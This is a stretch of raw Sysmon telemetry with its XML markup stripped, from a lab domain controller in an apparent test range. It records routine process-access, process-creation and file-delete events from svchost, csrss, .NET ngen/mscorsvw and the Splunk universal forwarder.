14:45:20.751{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.751{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.751{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.751{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.751{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F80-613B-590A-00000000F001}7140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.751{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F80-613B-590A-00000000F001}7140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000045348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.753{7BD73061-6F80-613B-590A-00000000F001}7140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000045347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.731{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F80-613B-580A-00000000F001}6128C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.721{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F80-613B-580A-00000000F001}6128C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.721{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F80-613B-580A-00000000F001}6128C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.681{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F80-613B-570A-00000000F001}5300C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.666{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F80-613B-570A-00000000F001}5300C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.665{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F80-613B-570A-00000000F001}5300C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.551{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F80-613B-560A-00000000F001}6320C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.541{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F80-613B-560A-00000000F001}6320C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.541{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F80-613B-560A-00000000F001}6320C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.501{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F80-613B-550A-00000000F001}4204C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.491{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F80-613B-550A-00000000F001}4204C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.491{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F80-613B-550A-00000000F001}4204C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.441{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FD219B360672378C8EEB33407D91EB33,SHA256=3F9F5974B6FD3B5C2B02FBE8A31034FC56803A02FC88165D5F8BB8A43E16E721,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.441{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F80-613B-540A-00000000F001}4224C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.411{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F80-613B-540A-00000000F001}4224C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.411{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F80-613B-540A-00000000F001}4224C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.365{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F80-613B-530A-00000000F001}1640C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:20.351{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F80-613B-530A-00000000F001}1640C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 